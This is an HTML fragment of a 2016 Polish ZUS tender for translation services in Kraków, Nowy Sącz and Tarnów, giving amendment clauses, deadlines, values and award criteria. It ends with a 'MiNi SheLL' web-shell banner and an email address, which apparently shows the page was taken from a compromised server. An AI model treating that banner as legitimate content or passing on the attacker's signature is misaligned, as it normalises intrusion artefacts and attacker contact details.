              <br /><br /><b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b><br />
              Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty:
              <br /><br />
              Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia:
              <br />
                nie
              <br />
              Informacje dodatkowe:
              <br /><br /><b>IV.4) Licytacja elektroniczna  </b><br />
              Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna:
              <br /><div style="padding-left: 20px"></div>

              Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych:
              <br /><div style="padding-left: 20px"></div>

              Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień:
              <br /><div style="padding-left: 20px"></div>

              Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Licytacja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Wykonawcy, którzy nie złożyli nowych postąpień, zostaną  zakwalifikowani do następnego etapu:
                
                  nie
                </div>

              Termin otwarcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Termin i warunki zamknięcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div><br />
              Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy:
              <br /><div style="padding-left: 20px"></div><br />
              Wymagania dotyczące zabezpieczenia należytego wykonania umowy: 
              <br /><div style="padding-left: 20px"></div><br />
              Informacje dodatkowe:
              <br /><div style="padding-left: 20px"></div><b>IV.5) ZMIANA UMOWY</b><br /><b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b>
                tak

                <br />
                Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian:
                <br />1.	Zamawiający zastrzega możliwość dokonania zmiany umowy w następujących okolicznościach i zakresie:
1) wskutek okoliczności których nie można było przewidzieć w chwili jej zawarcia;
2) zmiany umowy są korzystne dla Zamawiającego;
3) w przypadku zmiany powszechnie obowiązujących przepisów prawa, w tym wysokości wynagrodzenia należnego
2.  Wykonawcy, w przypadku zmiany:
a) stawki podatku od towarów i usług (VAT), 
b) wysokości minimalnego wynagrodzenia za pracę ustalonego na podstawie art. 2 ust. 3-5 ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu za pracę, wyłącznie dla osób zatrudnionych na umowę o pracę,
c) zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenie społeczne lub zdrowotne
- jeżeli zmiany te będą miały wpływ na koszty wykonania zamówienia przez Wykonawcę.
3.	W przypadku zmiany przepisów, o których mowa w ust. 2, skutkujących istotną zmiana kosztów wykonania przedmiotu umowy przez Wykonawcę, każda ze stron umowy, w terminie 30 dni od dnia wejścia w życie przepisów wprowadzających te zmiany, może wystąpić do drugiej strony o przeprowadzenie negocjacji w sprawie dokonania odpowiedniej zmiany wysokości wynagrodzenia.
4.	Podstawą do przeprowadzenia negocjacji, o których mowa w ust. 3, będzie przedstawiana każdorazowo Zamawiającemu kalkulacja kosztów Wykonawcy, uwzględniająca wpływ wejścia w życie przepisów dokonujących te zmiany na koszty wykonania przedmiotu umowy przez Wykonawcę. Wykonawca będzie zobowiązany do przedstawienia stosownej kalkulacji na pisemne żądanie Zamawiającego, w terminie do 14 dni od otrzymania żądania. 
5.	O zmianach dotyczących osób wskazanych w § 5 umowy, danych teleadresowych, numeru rachunku bankowego, na który Zamawiający będzie przekazywał płatności wynikające z realizacji umowy  strony umowy będą informowały się na piśmie, bez konieczności sporządzania aneksu do umowy.
6.	Zmiany umowy, o których mowa w ust. 1 i 2, pod rygorem nieważności wymagają formy pisemnej w postaci aneksu.
<br /><b>IV.6) INFORMACJE ADMINISTRACYJNE </b><br /><br /><b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i><br /><br /><b>Środki służące ochronie informacji o charakterze poufnym</b><br /><br /><b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b><br />
              Data: 02/12/2016, godzina: 10:00,
              <br />
              Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem):
              <br />
                nie
              <br />
              Wskazać powody:
              <br /><br />
              Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu
              <br />&gt;
              PLN<br /><b>IV.6.3) Termin związania ofertą: </b>
                okres w dniach: 30 (od ostatecznego terminu składania ofert)
              <br /><b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b>
                nie
              <br /><b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b>
                nie
              <br /><b>IV.6.6) Informacje dodatkowe:</b><br /></div></div><div class="headerLarge_xforms" style="text-align: center"><u>
                ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH
              </u></div><div><b>Część nr: </b>I
                  
                <b>Nazwa: </b>Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Krakowie<br /><div style="padding-left: 20px"><b>
                    1) Krótki opis przedmiotu zamówienia </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Część I - przedmiotem zamówienia są usługi tłumaczeń pisemnych z języków obcych na język polski i z języka polskiego na języki obce w zakresie dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Krakowie.
	Szacowana ilość stron do tłumaczenia przewidywanych w okresie obowiązywania umowy wynosi: 
	a)  I grupa językowa (tłumaczenia uwierzytelnione i nieuwierzytelnione)  ok. 1 739 stron;
	b) II grupa językowa (tłumaczenia uwierzytelnione i nieuwierzytelnione)  ok. 1 592 stron.
 <br /><b>2) Wspólny Słownik Zamówień (CPV): </b>79530000-8<br /><b>3) Wartość części zamówienia (jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br />
                  Wartość bez VAT:
                  86178.86<br />
                  Waluta:
                  <br /><div style="padding-left: 20px">PLN<br /><b>4) Czas trwania lub termin wykonania: </b>
                      data rozpoczęcia: 02/01/2017<br /><b>5) Kryteria oceny ofert: </b><table style="padding-left: 20px"><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>60</td></tr><tr><td>termin wykonania tłumaczenia</td><td>40</td></tr></table><b>
                      6) INFORMACJE DODATKOWE:
                    </b><br /></div></div><br /></div><div><b>Część nr: </b>II
                  
                <b>Nazwa: </b>Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Nowym Sączu<br /><div style="padding-left: 20px"><b>
                    1) Krótki opis przedmiotu zamówienia </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Część II - przedmiotem zamówienia są usługi tłumaczeń pisemnych z języków obcych na język polski i z języka polskiego na języki obce w zakresie dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Nowym Sączu.
Szacowana ilość stron do tłumaczenia przewidywanych w okresie obowiązywania umowy wynosi: 
a)	I grupa językowa  ok. 1512 stron;
b)	II grupa językowa  ok. 4018 stron;
c)	III grupa językowa  ok. 10 stron;
d)	IV grupa językowa  ok. 32 stron.

<br /><b>2) Wspólny Słownik Zamówień (CPV): </b>79530000-8<br /><b>3) Wartość części zamówienia (jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br />
                  Wartość bez VAT:
                  113144.72<br />
                  Waluta:
                  <br /><div style="padding-left: 20px">PLN<br /><b>4) Czas trwania lub termin wykonania: </b>
                      data rozpoczęcia: 02/01/2017<br /><b>5) Kryteria oceny ofert: </b><table style="padding-left: 20px"><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>60</td></tr><tr><td>termin wykonania tłumaczenia </td><td>40</td></tr></table><b>
                      6) INFORMACJE DODATKOWE:
                    </b><br /></div></div><br /></div><div><b>Część nr: </b>III
                  
                <b>Nazwa: </b>Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Tarnowie<br /><div style="padding-left: 20px"><b>
                    1) Krótki opis przedmiotu zamówienia </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Część III - przedmiotem zamówienia są usługi tłumaczeń pisemnych z języków obcych na język polski i z języka polskiego na języki obce w zakresie dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Tarnowie.
Szacowana ilość stron do tłumaczenia przewidywanych w okresie obowiązywania umowy wynosi: 
Szacowana ilość stron do tłumaczenia przewidywanych w okresie obowiązywania umowy wynosi: 
                  a) I grupa językowa  ok 3786 stron
                  b) II grupa językowa  ok 2460 stron  

<br /><b>2) Wspólny Słownik Zamówień (CPV): </b>79530000-8<br /><b>3) Wartość części zamówienia (jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br />
                  Wartość bez VAT:
                  1158420.00<br />
                  Waluta:
                  <br /><div style="padding-left: 20px">PLN<br /><b>4) Czas trwania lub termin wykonania: </b>
                      data rozpoczęcia: 02/01/2017<br /><b>5) Kryteria oceny ofert: </b><table style="padding-left: 20px"><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>60</td></tr><tr><td>termin wykonania tłumaczenia</td><td>40</td></tr></table><b>
                      6) INFORMACJE DODATKOWE:
                    </b><br /></div></div><br /></div></div>

Creat By MiNi SheLL
Email: jattceo@gmail.com